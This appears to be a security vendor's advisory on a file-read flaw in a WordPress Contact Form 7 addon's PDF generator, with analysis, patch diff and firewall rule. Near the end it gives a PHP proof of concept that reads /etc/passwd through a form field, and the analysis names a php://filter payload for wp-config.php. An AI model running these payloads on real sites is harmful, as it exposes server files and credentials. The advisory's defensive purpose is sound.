Opens in a new tab
Published : November 16, 2026

CVE-2026-100386: Ultra Addons for Contact Form 7 <= 3.5.54 Unauthenticated Arbitrary File Read via CF7 Field Value in mPDF WriteHTML SVG Parser PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 3.5.54
Patched Version 3.5.55
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-100386: Ultra Addons for Contact Form 7 <= 3.5.54 contains an unauthenticated arbitrary file read vulnerability in the uacf7_wpcf7_mail_components function. The flaw affects the PDF Generator addon and requires an administrator-configured PDF body template. Attackers can craft a Contact Form 7 submission that injects mPDF control markers and SVG file references, causing mPDF to read local files and embed them into the generated PDF. CVSS score is 7.5 (High).

The root cause is insufficient sanitization of user-controlled CF7 field values before they are inserted into the mPDF HTML template. In pdf-generator.php, the replace_value array is populated with raw form data at lines 567-568, and repeater values are similarly unsanitized at lines 942-957. mPDF then processes these values, and its SVG parser (via the tag or similar) can be tricked into reading arbitrary files using stream wrappers or direct file paths. The mPDF StreamWrapperChecker.php has a flawed check at line 21 (strpos($filename, ‘://’) > 0) which fails to detect wrappers when the colon is at position 0 or after leading slashes, and Mpdf.php line 9110 unserializes object attributes without restricting classes. The database.php also stores uploaded files with predictable names lacking extensions, which aids in path manipulation.

Exploitation requires the PDF Generator addon to be active and a PDF body template configured for the target form. An unauthenticated attacker submits a Contact Form 7 form with a field value containing mPDF-specific control markers (e.g., “»¤¬”) followed by a malicious SVG payload such as or a PHP stream wrapper like php://filter/convert.base64-encode/resource=/wp-config.php. The plugin replaces the template placeholder with this value, mPDF writes the HTML, and the SVG parser reads the referenced file, embedding its contents into the PDF. The attacker then downloads the generated PDF to extract the file contents.

The patch introduces sanitize_pdf_template_value() in pdf-generator.php, which strips mPDF object markers, removes dangerous stream wrappers (php, file, phar, data, expect, ftp), and HTML-entity-encodes all tags via esc_html(). This prevents both the injection of mPDF control sequences and the use of SVG/file tags. Additionally, StreamWrapperChecker.php is fixed to properly detect wrappers at the start of the string (using !== false and normalizing leading slashes/colons). Mpdf.php now unserializes with allowed_classes => false to prevent object injection. The patch also adds curlAllowUnsafeSslRequests => false to cURL options, hardens the uploads directory with .htaccess and index.php, and inspects text-based uploads for HTML/script signatures.

Successful exploitation allows an unauthenticated attacker to read arbitrary files on the server, including wp-config.php, which contains database credentials and authentication keys. This can lead to complete site compromise, data exfiltration, and potentially remote code execution if the attacker can read and leverage sensitive configuration files or write files via other means. The vulnerability poses a serious risk to WordPress sites using the affected plugin with the PDF Generator addon enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-addons-for-contact-form-7/addons/database/database.php
+++ b/ultimate-addons-for-contact-form-7/addons/database/database.php
@@ -876,6 +876,9 @@
 		if ( ! file_exists( $uacf7_dirname ) ) {
 			wp_mkdir_p( $uacf7_dirname );
 		}
+		if ( function_exists( 'uacf7_protect_uploads_directory' ) ) {
+			uacf7_protect_uploads_directory( $uacf7_dirname );
+		}

 		// CF7 already validates and normalizes uploaded files for the current submission.
 		foreach ( $files as $file_key => $file ) {
@@ -892,12 +895,15 @@
 						continue;
 					}

-					$dir_link = '/uacf7-uploads/' . $time_now . '-' . $file_key;
+					$filename = wp_basename( $file );
+					$ext      = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
+					$ext_part = ! empty( $ext ) ? '.' . sanitize_key( $ext ) : '';

 					if ( in_array( $file_key, $uacf7_signature_tag ) ) {
 						$dir_link = '/uacf7-uploads/' . $time_now . '-' . $file_key . '.enc';
 						$this->encrypt_file( $file, $dir . $dir_link, $encryptionKey );
 					} else {
+						$dir_link = '/uacf7-uploads/' . $time_now . '-' . $file_key . $ext_part;
 						copy( $file, $dir . $dir_link );
 					}
 				array_push( $data_file, [ $file_key => $dir_link ] );
--- a/ultimate-addons-for-contact-form-7/addons/pdf-generator/pdf-generator.php
+++ b/ultimate-addons-for-contact-form-7/addons/pdf-generator/pdf-generator.php
@@ -389,7 +389,8 @@
 			'format' => 'A4',
 			'margin_left' => 0,
 			'margin_right' => 0,
-			'margin_top' => 25
+			'margin_top' => 25,
+			'curlAllowUnsafeSslRequests' => false,
 		] );


@@ -567,11 +568,21 @@
 				}
 				$value = $data;
 			}
+			if ( ! in_array( $key, $uacf7_signature_tag ) && is_string( $value ) ) {
+				$value = $this->sanitize_pdf_template_value( $value );
+			}
 			$replace_value[] = $value;
 		}
 		// Repeater value
 		if ( ! empty( $repeaters ) && is_array( $repeaters ) ) {
 			$repeater_data = apply_filters( 'uacf7_pdf_generator_replace_data', $repeater_value, $repeaters, $customize_pdf );
+			if ( ! empty( $repeater_data['replace_re_value'] ) && is_array( $repeater_data['replace_re_value'] ) ) {
+				foreach ( $repeater_data['replace_re_value'] as $r_idx => $r_val ) {
+					if ( is_string( $r_val ) ) {
+						$repeater_data['replace_re_value'][ $r_idx ] = $this->sanitize_pdf_template_value( $r_val );
+					}
+				}
+			}
 			$customize_pdf = str_replace( $repeater_data['replace_re_key'], $repeater_data['replace_re_value'], $customize_pdf );
 		}

@@ -683,6 +694,7 @@
 				'margin_left' => 0,
 				'margin_right' => 0,
 				'margin_top' => 25,
+				'curlAllowUnsafeSslRequests' => false,
 			] );
 			$replace_key = [];

@@ -805,6 +817,9 @@
 						}
 						$value = $data;
 					}
+					if ( is_string( $value ) ) {
+						$value = $this->sanitize_pdf_template_value( $value );
+					}
 					$replace_value[] = $value;
 				}

@@ -942,7 +957,13 @@

 				if ( is_array( $repeaters ) || is_object( $repeaters ) ) {
 					$repeater_data = apply_filters( 'uacf7_pdf_generator_replace_data', $repeater_value, $repeaters, $customize_pdf );
-
+					if ( ! empty( $repeater_data['replace_re_value'] ) && is_array( $repeater_data['replace_re_value'] ) ) {
+						foreach ( $repeater_data['replace_re_value'] as $r_idx => $r_val ) {
+							if ( is_string( $r_val ) ) {
+								$repeater_data['replace_re_value'][ $r_idx ] = $this->sanitize_pdf_template_value( $r_val );
+							}
+						}
+					}
 					$customize_pdf = str_replace( $repeater_data['replace_re_key'], $repeater_data['replace_re_value'], $customize_pdf );
 				}
 			}
@@ -978,6 +999,29 @@

 	}

+	/**
+	 * Sanitize user-submitted form values before PDF template replacement.
+	 * Neutralizes mPDF control markers, dangerous stream wrappers, and HTML/SVG markup.
+	 *
+	 * @param mixed $value
+	 * @return string
+	 */
+	public function sanitize_pdf_template_value( $value ) {
+		if ( ! is_string( $value ) ) {
+			return $value;
+		}
+
+		// 1. Strip mPDF internal object markers
+		$clean_val = str_replace( array( "xbbxa4xac", "xc2xbbxc2xa4xc2xac", '»¤¬' ), '', $value );
+		$clean_val = preg_replace( '/bobjattrs*=/i', '', $clean_val );
+
+		// 2. Strip dangerous stream wrappers and protocols (defense-in-depth against file read/SSRF)
+		$clean_val = preg_replace( '#(?::/)?(?:php|file|phar|data|expect|ftp)://#i', '', $clean_val );
+
+		// 3. Entity-encode HTML tags (Neutralizes <svg>, <image>, and arbitrary tags)
+		return esc_html( $clean_val );
+	}
+
 	public function makeLinksClickable($text) {
 		$pattern = '/(https?://[^s]+)/';

--- a/ultimate-addons-for-contact-form-7/inc/functions.php
+++ b/ultimate-addons-for-contact-form-7/inc/functions.php
@@ -1751,6 +1751,57 @@
 			return false;
 		}

+		/*
+		 * Inspect text-based and ambiguous uploads for HTML and script signatures.
+		 * Attackers can upload text files containing HTML event handlers like <BODY onload=...>
+		 * which MIME-type detectors classify as text/plain.
+		 */
+		$text_extensions = array( 'txt', 'csv', 'vtt', 'srt', 'asc' );
+		if ( in_array( $extension, $text_extensions, true ) || 0 === strpos( strtolower( $file_type['type'] ), 'text/' ) ) {
+			$handle = @fopen( $file, 'rb' );
+			if ( $handle ) {
+				$chunk = fread( $handle, 4096 );
+				fclose( $handle );
+				if ( false !== $chunk ) {
+					if ( preg_match( '/<s*(?:!doctype|html|head|body|script|svg|iframe|embed|object|?xml)/i', $chunk ) ||
+					     preg_match( '/b(?:onload|onerror|onmouseover|autofocus)s*=/i', $chunk ) ) {
+						return false;
+					}
+				}
+			}
+		}
+
 		return true;
 	}
+}
+
+/**
+ * Hardens the UACF7 uploads directory against script execution and MIME sniffing.
+ *
+ * @param string $dir The absolute directory path.
+ */
+if ( ! function_exists( 'uacf7_protect_uploads_directory' ) ) {
+	function uacf7_protect_uploads_directory( $dir ) {
+		if ( empty( $dir ) || ! is_dir( $dir ) ) {
+			return;
+		}
+
+		// Prevent directory browsing with an empty index.php
+		$index_file = rtrim( $dir, '/\' ) . '/index.php';
+		if ( ! file_exists( $index_file ) ) {
+			@file_put_contents( $index_file, "<?phpn// Silence is golden.n" );
+		}
+
+		// Place an .htaccess to prevent MIME sniffing and force safe handling
+		$htaccess_file = rtrim( $dir, '/\' ) . '/.htaccess';
+		if ( ! file_exists( $htaccess_file ) ) {
+			$rules = "<IfModule mod_headers.c>n"
+				. "Header set X-Content-Type-Options "nosniff"n"
+				. "</IfModule>n"
+				. "<FilesMatch "\.(?i:txt|csv|vtt|srt|asc)$">n"
+				. "Header set Content-Disposition "attachment"n"
+				. "</FilesMatch>n";
+			@file_put_contents( $htaccess_file, $rules );
+		}
+	}
 }
 No newline at end of file
--- a/ultimate-addons-for-contact-form-7/third-party/vendor/mpdf/mpdf/src/File/StreamWrapperChecker.php
+++ b/ultimate-addons-for-contact-form-7/third-party/vendor/mpdf/mpdf/src/File/StreamWrapperChecker.php
@@ -21,15 +21,16 @@
 	 */
 	public function hasBlacklistedStreamWrapper($filename)
 	{
-		if (strpos($filename, '://') > 0) {
+		if (strpos($filename, '://') !== false) {
 			$wrappers = stream_get_wrappers();
 			$whitelistStreamWrappers = $this->getWhitelistedStreamWrappers();
+			$normalized = ltrim($filename, ':/\ ');
 			foreach ($wrappers as $wrapper) {
 				if (in_array($wrapper, $whitelistStreamWrappers)) {
 					continue;
 				}

-				if (stripos($filename, $wrapper . '://') === 0) {
+				if (stripos($filename, $wrapper . '://') === 0 || stripos($normalized, $wrapper . '://') === 0) {
 					return true;
 				}
 			}
--- a/ultimate-addons-for-contact-form-7/third-party/vendor/mpdf/mpdf/src/Mpdf.php
+++ b/ultimate-addons-for-contact-form-7/third-party/vendor/mpdf/mpdf/src/Mpdf.php
@@ -9110,7 +9110,7 @@
 			$sp[$v[0]] = trim($v[1], Mpdf::OBJECT_IDENTIFIER);
 		}

-		return (unserialize($sp['objattr']));
+		return (unserialize($sp['objattr'], array('allowed_classes' => false)));
 	}

 	function inlineObject($type, $x, $y, $objattr, $Lmargin, $widthUsed, $maxWidth, $lineHeight, $paint = false, $is_table = false)
--- a/ultimate-addons-for-contact-form-7/ultimate-addons-for-contact-form-7.php
+++ b/ultimate-addons-for-contact-form-7/ultimate-addons-for-contact-form-7.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultra Addons for Contact Form 7
  * Plugin URI: https://cf7addons.com/
  * Description: 50+ Essential Addons for Contact Form 7 - Conditional Fields, Multi Step Forms, Redirection, Form Templates, Columns, WooCommerce, Mailchimp and more, all in one.
- * Version: 3.5.54
+ * Version: 3.5.55
  * Author: Themefic
  * Author URI: https://themefic.com/
  * License: GPL-2.0+
@@ -30,7 +30,7 @@
 		define( 'UACF7_URL', plugin_dir_url( __FILE__ ) );
 		define( 'UACF7_ADDONS', UACF7_URL . 'addons' );
 		define( 'UACF7_PATH', plugin_dir_path( __FILE__ ) );
-		define( 'UACF7_VERSION', '3.5.54' );
+		define( 'UACF7_VERSION', '3.5.55' );

 		/*
 		 * ---------------------------------------------------------

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-100386
SecRule REQUEST_URI "@streq /wp-json/contact-form-7/v1/contact-forms" 
  "id:2026100386,phase:2,deny,status:403,chain,msg:'CVE-2026-100386 via CF7 form submission with mPDF file read payload',severity:'CRITICAL',tag:'CVE-2026-100386'"
  SecRule REQUEST_BODY "@rx (?:xbbxa4xac|xc2xbbxc2xa4xc2xac|»¤¬)" "chain"
    SecRule REQUEST_BODY "@rx (?i)(?:file|php|phar|data|expect|ftp)://" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-100386 - Ultra Addons for Contact Form 7 <= 3.5.54 - Unauthenticated Arbitrary File Read via CF7 Field Value in mPDF WriteHTML SVG Parser

$target_url = 'http://example.com'; // Change to target WordPress site
$form_id = 1; // CF7 form ID with PDF template configured
$field_name = 'your-name'; // CF7 field name that is included in PDF template

// Payload: mPDF object marker + SVG image tag with file:// wrapper to read /etc/passwd
// The marker is stripped by mPDF during parsing, leaving the SVG payload active.
$payload = "»¤¬<image src="file:///etc/passwd">";

// Prepare form submission data
$post_data = array(
    '_wpcf7' => $form_id,
    '_wpcf7_version' => '5.8',
    '_wpcf7_locale' => 'en_US',
    '_wpcf7_unit_tag' => 'wpcf7-f' . $form_id . '-p1-o1',
    $field_name => $payload,
    // Additional required fields may be needed depending on form configuration
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/contact-form-7/v1/contact-forms/' . $form_id . '/feedback');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Form submitted successfully. PDF generation may have been triggered.n";
    echo "Check the admin email for the PDF attachment or trigger the PDF download endpoint.n";
    // In a real attack, the attacker would then download the PDF from the link sent via email
    // or from a predictable URL if exposed.
} else {
    echo "Submission failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

// Note: The actual PDF generation and delivery depends on plugin configuration.
// An attacker might need to trigger the PDF creation via the form submission
// and then retrieve the PDF from the email notification or a download link.
// This PoC demonstrates the injection vector; full exploitation requires
// the PDF template to include the field and the PDF to be generated.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.